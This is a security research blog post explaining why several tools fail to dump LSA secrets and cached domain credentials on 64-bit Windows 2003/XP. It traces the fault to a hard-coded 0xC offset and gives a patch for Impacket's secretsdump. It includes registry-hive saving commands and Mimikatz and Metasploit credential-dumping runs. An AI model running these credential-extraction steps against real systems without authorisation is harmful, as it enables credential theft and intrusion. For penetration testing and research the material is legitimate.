Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

Managed Security Services

Expand your team’s capabilities and strengthen your security posture

Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

Penetration Testing

Subscription- or project-based testing, delivered by global experts

Database Security

Get ahead of database risk, protect data and exceed compliance requirements

Email Security & Management

Catch email threats others miss with layered security & maximum control

Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Dumping LSA Secrets on NT5 x64

The Bug

On the x64 version of Windows 2003 or XP (kernel 5.2), almost every tool fails to dump the LSA secrets and the domain cached credentials. Not sure why this has never been picked up before...

C:\>systeminfo | findstr /r /c:"^OS Version:" /c:"^System Type:"
OS Version: 5.2.3790 Service Pack 2 Build 3790
System Type: x64-based PC
C:\>reg save hklm\security z:\w2k3r2x64\
C:\>reg save hklm\system z:\w2k3r2x64\

Using the latest version of Impacket's (svn r1389), we get a decryption error:

$ python impacket/examples/ -system ./ -security ./ LOCAL
Impacket v0.9.13-dev - Copyright 2002-2015 Core Security Technologies

[*] Target system bootKey: 0x5272bccbeb751023c3ce8cf7c7ec9413
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[!] Input strings must be a multiple of 8 in length
[*] Cleaning up...

Same bug with Metasploit, when parsing the registry live, directly on the host:

meterpreter > run post/windows/gather/lsa_secrets 

[*] Executing module against BLAH2K3
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] XP or below system
[-] Post failed: OpenSSL::Cipher::CipherError data not multiple of block length
[-] Call stack:
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:354:in `final'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:354:in `block in decrypt_secret_data'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:345:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/lib/msf/core/post/windows/priv.rb:345:in `decrypt_secret_data'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:63:in `block (2 levels) in get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:46:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:46:in `block in get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:42:in `each'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:42:in `get_secret'
[-] /home/seb/tools/exploit/metasploit-framework/modules/post/windows/gather/lsa_secrets.rb:111:in `run'

However Mimikatz will work nicely:

mimikatz # lsadump::secrets z:\w2k3r2x64\ z:\w2k3r2x64\
Domain : BLAH2K3
SysKey : 5272bccbeb751023c3ce8cf7c7ec9413

Policy subsystem is : 1.7
LSA Key : 02e5d2269c0423de06bdbfff76c002d2

Secret : D6318AF1-462A-48C7-B6D9-ABB7CCD7975E-SRV
cur/hex : a8 fd 4f ac 04 34 d3 48 bb 0f 01 68 89 f6 60 d8

cur/hex : 01 00 00 00 de 58 e1 db 8a 76 c1 da f7 0e 49 76 37 8f b4 a2 ec 64 d6 47 e0 9a f9 ba 88 23 44 cd e4 86 8f ad f8 8b 01 9c e8 e4 cf c7


Mimikatz works because it properly extracts the encrypted value of the LSA secret before decrypting it. Whereas the other tools do not extract the right amount of ciphertext and therefore fail at decrypting the secret.

Mimikatz simply reads the first 4 bytes of the LSA secret binary blob (in Policy\Secrets\secretname\CurrValue) to get the correct size of the encrypted secret:

717: key.Buffer = lsaKeyUnique->key;
718: data.Length = data.MaximumLength = ((PNT5_HARD_SECRET) secret)->encryptedStructSize;
719: data.Buffer = (PBYTE) secret + szSecret - data.Length; // dirty hack to not extract x64/x86 from REG ; // ((PNT5_HARD_SECRET) secret)->encryptedSecret;

Benjamin calls it a dirty hack because he reckons they probably just use their own structures at Microsoft. However simply using the size information was an easy shortcut for him and allows mimikatz to be able to parse x64 hives on a x86 system and vice versa.

Surprisingly the other tools do not look at the size information and have all assumed that the encrypted secret starts at offset 0xC in the blob, which is correct on x86 but not on x64.

For example, let's have a look at the DPAPI_SYSTEM secret. On x86 the encrypted secret starts at 0xC indeed (0x44-0x38):

However on x64, the encrypted secret starts at 0xF (0x48-0x38):

As these tools are not able to properly decrypt the LSA secrets, they are not able to dump the Domain Cached Credentials either because on NT5, each DCC is encrypted with the LSA secret NL$KM (stored in Policy\Secrets\NL$KM).

The 0xC offset

I looked at the source code of a lot of other tools and they all use the same offset. The earliest reference to this offset seems to come from a program called x_dialupass2.cpp published in October 2004:

LSADataIn.pbData = (BYTE *)Data + 0xC;  //密文从第0xC位开始 << translates to "ciphertext at 0xC from start"
LSADataIn.cbData = dwSize-0xC;
LSADataIn.cbMaxData = LSADataIn.cbData;

This offset might have been borrowed from someone else's research though. The google-translated Chinese isn't very clear and mentions some demo code from a Russian forum which no longer exists.

The x_dialupass2.cpp program simply scans the memory of lsass.exe to extract the LSA key, then for each LSA secret in the registry, it reads the encrypted secret at offset 0xC and calls advapi.dll:SystemFunction005 to decrypt the secret with the LSA key (no one could figure out the decryption algorithm at the time).

A year later, the program CacheDump copied the code of x_dialupass2 to dump the domain cached credentials. The approach becomes: scan lsass.exe to extract the LSA key, read the encrypted NL$KM secret at offset 0xC, call advapi.dll:SystemFunction005 to decrypt NL$KM and use it to decrypt every DCC.

Since then, the 0xC offset has been carried into every subsequent tool.

Affected tools

I've compiled a list of tools that are unable to dump the LSA secrets and/or the DCC on NT5 x64.

I've found this 0xC offset in all of the open-source tools. For the two closed-source tools, Cain & Abel and Nirsoft's lsa_secrets_view, they must be using this offset as well because they don't work either.

In chronological order:

Tools not affected:

On the other hand, tools that use DLL injection into lsass are not affected because they call LsarQuerySecret of lsasrv.dll or LsaRetrievePrivateData of advapi32.dll to obtain the LSA secrets unencrypted:


I was able to reproduce this issue on Windows 5.2.3790 (2003 or XP). Note that starting with Vista (NT6), LSA secrets are decrypted in a different manner (no offset needed anymore), so you should have only experienced this bug on Windows 2003 & XP. Although again, I couldn't find any past discussion about it.

Here is a patch for secretsdump that fixes this issue:

---      (revision 1389)
+++ (working copy)
@@ -821,6 +821,10 @@
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
+ encryptedSecretSize = unpack('<I', value[:4])[0]
+ value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
@@ -890,7 +894,7 @@
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
- self.__NKLMKey = self.__decryptSecret(self.__LSAKey,value[1][0xc:])
+ self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])

def __pad(self, data):
if (data & 0x3) > 0:
@@ -1055,7 +1059,7 @@
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
- secret = self.__decryptSecret(self.__LSAKey,value[1][0xc:])
+ secret = self.__decryptSecret(self.__LSAKey, value[1])

self.__printSecret(key, secret)

Reach me at @lanjelot for more intel. Thanks for reading!

Latest SpiderLabs Blogs

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More

Pwning Electroencephalogram (EEG) Medical Devices by Default

Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution During internal network testing, a document was discovered titled the “XL Security Site...

Read More

Hidden Data Exfiltration Using Time, Literally

I was looking at my watch last week and my attention was moved towards the seconds over at the right of the watch face, incrementing nicely along as you’d expect. Now, I don’t know if I’d just spent...

Read More